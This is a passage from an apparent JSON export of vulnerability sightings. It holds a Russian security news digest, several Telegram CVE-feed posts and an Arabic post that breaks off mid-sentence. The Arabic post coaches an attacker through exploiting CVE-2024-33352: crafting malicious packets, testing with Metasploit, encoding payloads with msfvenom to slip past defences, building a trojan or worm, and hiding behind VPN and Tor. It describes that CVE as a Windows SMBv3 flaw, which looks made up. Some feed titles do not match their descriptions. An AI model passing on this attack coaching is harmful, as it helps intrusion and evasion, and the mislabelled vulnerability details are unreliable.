WikiKit, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0433\u043e \u0441\u0432\u043e\u0451 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u0437\u0430 \u0442\u043e, \u0447\u0442\u043e \u043e\u043d \u043f\u0435\u0440\u0435\u0430\u0434\u0440\u0435\u0441\u0443\u0435\u0442 \u043d\u0435\u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0436\u0435\u0440\u0442\u0432 \u043d\u0430 \u0412\u0438\u043a\u0438\u043f\u0435\u0434\u0438\u044e.\n\n\ud83d\ude35\u200d\ud83d\udcab \u041f\u044f\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 Chrome, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u043e\u0442 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Cyberhaven, \u0431\u044b\u043b\u0438 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u043f\u043e\u043f\u0430\u043b\u0438 \u0432 \u043c\u0430\u0433\u0430\u0437\u0438\u043d Chrome. \u0415\u0449\u0451 \u043e\u0434\u0438\u043d \u043f\u043e\u0432\u043e\u0434 \u043f\u043e\u0434\u0447\u0438\u043d\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0439 \u0432 \u0425\u0440\u043e\u043c \u0441\u0442\u0440\u043e\u0433\u0438\u043c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0430\u043c.\n\n\ud83d\udfe2\u041d\u043e\u0432\u044b\u0439 \u0434\u0435\u043d\u044c \u2014 \u043d\u043e\u0432\u043e\u0435 \u0412\u041f\u041e \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 open source. \u0422\u0435\u043f\u0435\u0440\u044c \u0447\u0435\u0440\u0435\u0437 PyPi \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0441\u0442\u0438\u043b\u0435\u0440\u044b Cometlogger \u0438 Zebo.\n\n\ud83d\udfe3\u0410 Lockbit \u0441\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c \u043e\u0442\u043f\u0440\u0430\u0437\u0434\u043d\u043e\u0432\u0430\u0442\u044c \u0433\u043e\u0434\u043e\u0432\u0449\u0438\u043d\u0443 \u0440\u0430\u0437\u0433\u043e\u043d\u0430 \u0433\u0440\u0443\u043f\u043f\u044b \u043f\u0440\u0430\u0432\u043e\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u0435\u043b\u044f\u043c\u0438 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c Lockbit 4.0.\n\n\ud83d\ude35 \u0426\u0435\u043b\u0430\u044f \u043f\u0430\u0447\u043a\u0430 \u0441\u0440\u043e\u0447\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0418\u0422-\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 \u043e\u043c\u0440\u0430\u0447\u0438\u043b\u0438 \u0430\u0434\u043c\u0438\u043d\u0430\u043c \u043f\u0440\u0430\u0437\u0434\u043d\u0438\u0447\u043d\u044b\u0439 \u0441\u0435\u0437\u043e\u043d. \u041e\u0442\u043c\u0435\u0442\u0438\u043c CVE-2024-52046 \u0432 Apache MINA (CVSS 10), CVE-2024-45387 \u0432 Apache Traffic Ops (CVSS 9.9) \u0438 \u043c\u0435\u043d\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u0443\u044e CVE-2024-43441 \u0432 OpenGraph. \u0410 \u0434\u043b\u044f \u0442\u0435\u0445, \u043a\u0442\u043e \u0435\u0434\u0432\u0430 \u0432\u044b\u0434\u043e\u0445\u043d\u0443\u043b, \u0437\u0430\u043b\u0430\u0442\u0430\u0432 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e CVE-2024-50379 \u0432 Apache Tomcat, \u0442\u043e\u0436\u0435 \u0435\u0441\u0442\u044c \u043d\u0435\u043f\u0440\u0438\u044f\u0442\u043d\u044b\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u2014 \u0444\u0438\u043a\u0441 \u0431\u044b\u043b \u043d\u0435\u043f\u043e\u043b\u043d\u044b\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u0439\u0442\u0435 CVE-2024-56337 \u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u0439\u0442\u0435 \u0441\u043d\u0430\u0447\u0430\u043b\u0430. \u0414\u0430, \u0438 CVE-2024-53677 \u0432 Struts \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043d\u0435 \u0437\u0430\u0431\u0443\u0434\u044c\u0442\u0435.\n\u0421\u043d\u043e\u0432\u0430 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u0438 Palo Alto \u0441 DoS \u0432 PAN-OS (CVE-2024-3393, CVSS 8.7).\n\n\ud83d\udc4b \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 \u0447\u0442\u0438\u0432\u043e \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435: \u043a\u0430\u043a \u043b\u044e\u0431\u0438\u043c\u0430\u044f \u0441\u0442\u0430\u0440\u0442\u0430\u043f\u0430\u043c\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f\u043c\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043e\u0444\u0438\u0441\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043b\u0435\u0433\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0441\u0430\u0434\u0430 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 @\u041f2\u0422", "creation_timestamp": "2024-12-28T08:57:19.000000Z"}, {"uuid": "cfe20388-920d-4e94-b5b1-7968aa151b1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33452", "type": "seen", "source": "https://t.me/cvedetector/23534", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33452 - OpenResty Lua-Nginx Module HTTP Request Smuggling Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-33452 \nPublished : April 22, 2025, 4:15 p.m. | 1\u00a0hour, 47\u00a0minutes ago \nDescription : An issue in OpenResty lua-nginx-module v.0.10.26 and before allows a remote attacker to conduct HTTP request smuggling via a crafted HEAD request. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-22T20:54:51.000000Z"}, {"uuid": "2d8995f1-7024-4907-9eb0-87c9e5192183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33068", "type": "seen", "source": "https://t.me/cvedetector/9710", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33068 - Samsung Wi-Fi DOS Vuloptic\", \n  \"Content\": \"CVE ID : CVE-2024-33068 \nPublished : Nov. 4, 2024, 10:15 a.m. | 37\u00a0minutes ago \nDescription : Transient DOS while parsing fragments of MBSSID IE from beacon frame. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-04T11:55:30.000000Z"}, {"uuid": "aeabdd41-25c1-4771-acf7-2c15d58719b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33021", "type": "seen", "source": "https://t.me/cvedetector/2461", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-33021 - Citrix Merade Buf Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-33021 \nPublished : Aug. 5, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Memory corruption while processing IOCTL call to set metainfo. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T18:05:27.000000Z"}, {"uuid": "d0965108-b463-413a-ba34-5636f89e921a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33352", "type": "published-proof-of-concept", "source": "https://t.me/malwaremanzero/208", "content": "CVE-2024-33352 \u0647\u0648 \u062b\u063a\u0631\u0629 \u0623\u0645\u0646\u064a\u0629 \u062e\u0637\u064a\u0631\u0629 \u0641\u064a \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u062f\u064a \u0628\u062a\u0623\u062b\u0631 \u0639\u0644\u0649 \u0643\u0644 \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0644\u064a \u0628\u062a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 \u062f\u0647 \u0632\u064a Windows \u0648\u0628\u062a\u0633\u0645\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u064f\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641. \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0647\u064a \u0639\u0646 \u0637\u0631\u064a\u0642 \u0625\u0631\u0633\u0627\u0644 \u062d\u0632\u0645 \u0628\u064a\u0627\u0646\u0627\u062a \u0645\u0639\u064a\u0646\u0629 \u062a\u0645 \u062a\u0643\u0648\u064a\u0646\u0647\u0627 \u0628\u0634\u0643\u0644 \u062e\u0627\u0635 \u0644\u0644\u0633\u064a\u0631\u0641\u0631 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0627\u0644\u0644\u064a \u0628\u064a\u0634\u063a\u0644 \u062e\u062f\u0645\u0629 SMB \u0648\u0628\u064a\u0643\u0648\u0646 \u0627\u0644\u0647\u062f\u0641 \u0625\u0646 \u0627\u0644\u062d\u0632\u0645 \u062f\u064a \u062a\u062e\u0644\u064a \u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u064a\u0642\u0631\u0623 \u0628\u064a\u0627\u0646\u0627\u062a \u063a\u064a\u0631 \u0635\u062d\u064a\u062d\u0629 \u0648\u064a\u0628\u062f\u0623 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629.\n\n\u0639\u0644\u0634\u0627\u0646 \u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0647\u062c\u0648\u0645 \u0623\u0648 \u062a\u0636\u064a\u0641\u0647\u0627 \u0644\u0628\u0631\u0645\u062c\u064a\u0627\u062a \u062e\u0628\u064a\u062b\u0629 \u0632\u064a \u0627\u0644\u0645\u0627\u0644\u0648\u064a\u0631\u060c \u0623\u0648\u0644 \u062d\u0627\u062c\u0629 \u0644\u0627\u0632\u0645 \u062a\u0639\u0645\u0644\u0647\u0627 \u0647\u064a \u0625\u0646\u0643 \u062a\u062c\u0647\u0632 \u062d\u0632\u0645 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u062e\u0627\u0635\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u062f\u064a \u0628\u062a\u0643\u0648\u0646 \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u0633\u0644\u0633\u0644\u0629 \u0645\u0646 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0648\u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0644\u064a \u0628\u062a\u062a\u0648\u0627\u0641\u0642 \u0645\u0639 \u0627\u0644\u0634\u0631\u0648\u0637 \u0627\u0644\u0645\u062d\u062f\u062f\u0629 \u0644\u0644\u062b\u063a\u0631\u0629 \u0644\u0627\u0632\u0645 \u062a\u062a\u0623\u0643\u062f \u0625\u0646 \u0627\u0644\u062d\u0632\u0645 \u062f\u064a \u0645\u0635\u0645\u0645\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u062e\u0644\u064a \u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u064a\u0642\u0631\u0623\u0647\u0627 \u0643\u0628\u064a\u0627\u0646\u0627\u062a \u0633\u0644\u064a\u0645\u0629 \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0648\u0628\u0639\u062f \u0643\u062f\u0647 \u064a\u0646\u0641\u0630 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u0644\u064a \u0641\u064a\u0647\u0627 \u0641\u064a \u0627\u0644\u062e\u0637\u0648\u0627\u062a \u062f\u064a \u0647\u0646\u0648\u0636\u062d \u0625\u0632\u0627\u064a \u062a\u0642\u062f\u0631 \u062a\u0646\u0641\u0630 \u0627\u0644\u0647\u062c\u0648\u0645 \u0628\u0634\u0643\u0644 \u0639\u0644\u0645\u064a \u0648\u062f\u0642\u064a\u0642.\n\n\u0623\u0648\u0644\u0627\u064b\u060c \u0647\u062a\u0628\u062f\u0623 \u0628\u062a\u062d\u0644\u064a\u0644 \u0643\u0648\u062f \u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0645\u0648\u062c\u0648\u062f \u0639\u0644\u0649 GitHub \u0648\u062a\u0641\u0647\u0645 \u0643\u0648\u064a\u0633 \u0625\u0632\u0627\u064a \u0628\u064a\u0634\u062a\u063a\u0644 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u062e\u0627\u0635 \u0628\u0625\u0631\u0633\u0627\u0644 \u0627\u0644\u062d\u0632\u0645 \u0648\u0647\u0646\u0627 \u0644\u0627\u0632\u0645 \u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u062a\u062d\u0644\u064a\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0632\u064a Wireshark \u0639\u0644\u0634\u0627\u0646 \u062a\u0631\u0627\u0642\u0628 \u062d\u0631\u0643\u0629 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0648\u062a\u0641\u0647\u0645 \u0625\u0632\u0627\u064a \u0627\u0644\u062d\u0632\u0645 \u0628\u062a\u062a\u0628\u0627\u062f\u0644 \u0628\u064a\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0648\u0627\u0644\u0633\u064a\u0631\u0641\u0631 \u0648\u062f\u0647 \u0647\u064a\u0633\u0627\u0639\u062f\u0643 \u062a\u0643\u062a\u0634\u0641 \u0627\u0644\u0646\u0642\u0627\u0637 \u0627\u0644\u0636\u0639\u064a\u0641\u0629 \u0641\u064a \u0627\u0644\u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644. \u0628\u0639\u062f \u0643\u062f\u0647 \u0647\u062a\u0628\u062f\u0623 \u0641\u064a \u0625\u0639\u062f\u0627\u062f \u0643\u0648\u062f \u0627\u0644\u0628\u0631\u0645\u062c\u0629 \u0627\u0644\u062e\u0627\u0635 \u0628\u064a\u0643 \u0639\u0644\u0634\u0627\u0646 \u062a\u0628\u0639\u062a \u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0644\u0644\u0633\u064a\u0631\u0641\u0631 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u062f\u0647 \u0645\u0645\u0643\u0646 \u062a\u0639\u0645\u0644\u0647 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0644\u063a\u0627\u062a \u0628\u0631\u0645\u062c\u0629 \u0632\u064a Python \u0623\u0648 C++ \u0648\u062f\u064a \u0644\u063a\u0627\u062a \u0642\u0648\u064a\u0629 \u0648\u062a\u0642\u062f\u0631 \u062a\u0643\u062a\u0628 \u0628\u064a\u0647\u0627 \u0623\u0643\u0648\u0627\u062f \u0628\u062a\u0646\u0641\u0630 \u0623\u0648\u0627\u0645\u0631 \u0645\u0639\u0642\u062f\u0629.\n\n\u062b\u0627\u0646\u064a\u0627\u064b\u060c \u0644\u0627\u0632\u0645 \u062a\u062e\u062a\u0627\u0631 \u0627\u0644\u0647\u062f\u0641 \u0628\u062a\u0627\u0639\u0643 \u0628\u0639\u0646\u0627\u064a\u0629 \u0648\u062f\u0647 \u0628\u064a\u0643\u0648\u0646 \u0633\u064a\u0631\u0641\u0631 \u0628\u064a\u0634\u063a\u0644 \u062e\u062f\u0645\u0629 SMBv3 \u0648\u0639\u0644\u064a\u0647 \u0646\u0638\u0627\u0645 \u062a\u0634\u063a\u064a\u0644 \u0642\u0627\u0628\u0644 \u0644\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u0645\u0646 \u0627\u0644\u0645\u0647\u0645 \u0625\u0646\u0643 \u062a\u0643\u0648\u0646 \u0645\u062c\u0647\u0632 \u0628\u064a\u0626\u0629 \u0627\u062e\u062a\u0628\u0627\u0631 \u0622\u0645\u0646\u0629 \u0639\u0644\u0634\u0627\u0646 \u062a\u062c\u0631\u0628 \u0639\u0644\u064a\u0647\u0627 \u0627\u0644\u0647\u062c\u0648\u0645 \u0642\u0628\u0644 \u0645\u0627 \u062a\u0646\u0641\u0630\u0647 \u0641\u064a \u0627\u0644\u0628\u064a\u0626\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629 \u0648\u062a\u0642\u062f\u0631 \u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0632\u064a Metasploit Framework \u0639\u0644\u0634\u0627\u0646 \u062a\u062e\u062a\u0628\u0631 \u0627\u0644\u062b\u063a\u0631\u0629 \u0648\u062a\u0639\u062f\u0644 \u0639\u0644\u0649 \u0627\u0644\u0623\u0643\u0648\u0627\u062f \u0628\u062a\u0627\u0639\u062a\u0643 \u0648\u062a\u062a\u0627\u0643\u062f \u0625\u0646\u0647\u0627 \u0628\u062a\u0634\u062a\u063a\u0644 \u0628\u0634\u0643\u0644 \u0635\u062d\u064a\u062d.\n\n\u062b\u0627\u0644\u062b\u0627\u064b\u060c \u0644\u0627\u0632\u0645 \u062a\u0636\u064a\u0641 \u0628\u0639\u0636 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u0625\u0636\u0627\u0641\u064a\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0648\u062f\u0647 \u0628\u064a\u0634\u0645\u0644 \u062a\u0634\u0641\u064a\u0631 \u0627\u0644\u062d\u0632\u0645 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u062a\u062e\u0644\u064a \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0623\u0635\u0639\u0628 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0623\u062f\u0648\u0627\u062a \u0632\u064a Msfvenom \u0645\u0645\u0643\u0646 \u062a\u0636\u064a\u0641 \u0623\u0643\u0648\u0627\u062f \u062a\u0634\u0641\u064a\u0631 \u0644\u0644\u0623\u0648\u0627\u0645\u0631 \u0627\u0644\u062e\u0628\u064a\u062b\u0629 \u0639\u0644\u0634\u0627\u0646 \u062a\u0639\u062f\u064a \u0645\u0646 \u0623\u0646\u0638\u0645\u0629 \u0627\u0644\u062d\u0645\u0627\u064a\u0629.\n\n\u0645\u0646 \u0636\u0645\u0646 \u0627\u0644\u062a\u062d\u0633\u064a\u0646\u0627\u062a \u0627\u0644\u0645\u0645\u0643\u0646\u0629 \u0647\u064a \u0625\u0646\u0643 \u062a\u062f\u0645\u062c \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0645\u0627\u0644\u0648\u064a\u0631 \u0623\u0643\u0628\u0631 \u064a\u0639\u0646\u064a \u0645\u062b\u0644\u0627\u064b \u062a\u0642\u062f\u0631 \u062a\u0639\u0645\u0644 \u062d\u0635\u0627\u0646 \u0637\u0631\u0648\u0627\u062f\u0629 (Trojan Horse) \u0628\u064a\u0633\u062a\u063a\u0644 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0639\u0644\u0634\u0627\u0646 \u064a\u062f\u062e\u0644 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0648\u0628\u0639\u062f \u0643\u062f\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u062e\u0628\u064a\u062b\u0629 \u0632\u064a \u0633\u0631\u0642\u0629 \u0628\u064a\u0627\u0646\u0627\u062a \u0623\u0648 \u062a\u062f\u0645\u064a\u0631 \u0645\u0644\u0641\u0627\u062a \u0623\u0648 \u062d\u062a\u0649 \u062a\u062d\u0645\u064a\u0644 \u0645\u0627\u0644\u0648\u064a\u0631 \u0625\u0636\u0627\u0641\u064a. \u0648\u0623\u062e\u064a\u0631\u0627\u064b \u0644\u0627\u0632\u0645 \u062a\u0643\u0648\u0646 \u062d\u0631\u064a\u0635 \u062c\u062f\u0627\u064b \u0648\u062a\u0627\u062e\u062f \u0643\u0644 \u0627\u062d\u062a\u064a\u0627\u0637\u0627\u062a\u0643 \u0639\u0644\u0634\u0627\u0646 \u0645\u062a\u062a\u0639\u0631\u0636\u0634 \u0644\u0644\u0627\u0643\u062a\u0634\u0627\u0641 \u0623\u0648 \u0627\u0644\u062a\u0639\u0642\u0628 \u064a\u0639\u0646\u064a \u0644\u0627\u0632\u0645 \u062a\u0633\u062a\u062e\u062f\u0645 \u0634\u0628\u0643\u0629 \u0648\u0647\u0645\u064a\u0629 (VPN) \u0648\u062a\u063a\u064a\u0631 \u0645\u0648\u0642\u0639\u0643 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0648\u062a\u0633\u062a\u062e\u062f\u0645 \u0623\u062f\u0648\u0627\u062a \u0625\u062e\u0641\u0627\u0621 \u0627\u0644\u0647\u0648\u064a\u0629 \u0632\u064a Tor.\n\n\u0644\u0627\u0632\u0645 \u062a\u0639\u0631\u0641 \u0625\u0646 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u062e\u0637\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0648\u0644\u0648 \u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0634\u0643\u0644 \u0635\u062d\u064a\u062d \u0645\u0645\u0643\u0646 \u062a\u0633\u0628\u0628 \u0623\u0636\u0631\u0627\u0631 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0644\u0623\u064a \u0646\u0638\u0627\u0645 \u0639\u0644\u0634\u0627\u0646 \u0643\u062f\u0647 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0628\u062a\u0646\u0635\u062d \u0628\u062a\u062d\u062f\u064a\u062b \u0627\u0644\u0623\u0646\u0638\u0645\u0629 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631 \u0648\u062a\u0637\u0628\u064a\u0642 \u0627\u0644\u0628\u0627\u062a\u0634\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0646\u0632\u0644\u0647\u0627 \u0627\u0644\u0634\u0631\u0643\u0627\u062a \u0639\u0644\u0634\u0627\u0646 \u062a\u0642\u0641\u0644 \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u062f\u064a \u0648\u0643\u0645\u0627\u0646 \u0644\u0627\u0632\u0645 \u062a\u0643\u0648\u0646 \u0639\u0644\u0649 \u062f\u0631\u0627\u064a\u0629 \u062a\u0627\u0645\u0629 \u0628\u0643\u0644 \u0627\u0644\u0625\u062c\u0631\u0627\u0621\u0627\u062a \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u0627\u0644\u0644\u064a \u0628\u062a\u0637\u0628\u0642\u0647\u0627 \u0639\u0644\u0634\u0627\u0646 \u062a\u062d\u0645\u064a \u0646\u0641\u0633\u0643 \u0648\u0623\u062c\u0647\u0632\u062a\u0643 \u0645\u0646 \u0623\u064a \u0647\u062c\u0648\u0645 \u0645\u0645\u0643\u0646.\n\n\u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0628\u062a\u062a\u064a\u062d \u0644\u0644\u0645\u0647\u0627\u062c\u0645 \u0625\u0646\u0647 \u064a\u0646\u0641\u0630 \u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u0639\u062f \u0648\u064a\u0633\u064a\u0637\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641 \u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0645\u0645\u0643\u0646 \u064a\u0633\u062a\u062e\u062f\u0645\u0647\u0627 \u0641\u064a \u062a\u0646\u0641\u064a\u0630 \u0647\u062c\u0645\u0627\u062a \u0645\u062a\u0646\u0648\u0639\u0629 \u0632\u064a \u0627\u062e\u062a\u0631\u0627\u0642 \u0627\u0644\u0634\u0628\u0643\u0627\u062a \u0627\u0644\u062f\u0627\u062e\u0644\u064a\u0629 \u0623\u0648 \u062d\u062a\u0649 \u062a\u0648\u062c\u064a\u0647 \u0647\u062c\u0645\u0627\u062a DDoS \u0628\u0634\u0643\u0644 \u0641\u0639\u0627\u0644 \u062c\u062f\u0627\u064b. \u0648\u0644\u0648 \u0643\u0646\u062a \u0639\u0627\u0648\u0632 \u062a\u0633\u062a\u062e\u062f\u0645 \u0627\u0644\u062b\u063a\u0631\u0629 \u062f\u064a \u0641\u064a \u0645\u0627\u0644\u0648\u064a\u0631 \u0645\u0645\u0643\u0646 \u062a\u062f\u0645\u062c\u0647\u0627 \u0641\u064a \u0628\u0631\u0646\u0627\u0645\u062c \u062e\u0628\u064a\u062b \u064a\u0642\u0648\u0645 \u0628\u0646\u0634\u0631 \u0646\u0641\u0633\u0647 \u0639\u0628\u0631 \u0627\u0644\u0634\u0628\u0643\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0648\u062a\u0648\u0643\u0648\u0644 SMBv3 \u0648\u062f\u0647 \u0647\u064a\u062e\u0644\u064a \u0627\u0644\u0645\u0627\u0644\u0648\u064a\u0631 \u064a\u0646\u062a\u0634\u0631 \u0628\u0633\u0631\u0639\u0629 \u0643\u0628\u064a\u0631\u0629 \u062c\u062f\u0627\u064b \u0628\u064a\u0646 \u0627\u0644\u0623\u062c\u0647\u0632\u0629 \u0627\u0644\u0644\u064a \u0634\u063a\u0627\u0644\u0629 \u0639\u0644\u0649 \u0646\u0641\u0633 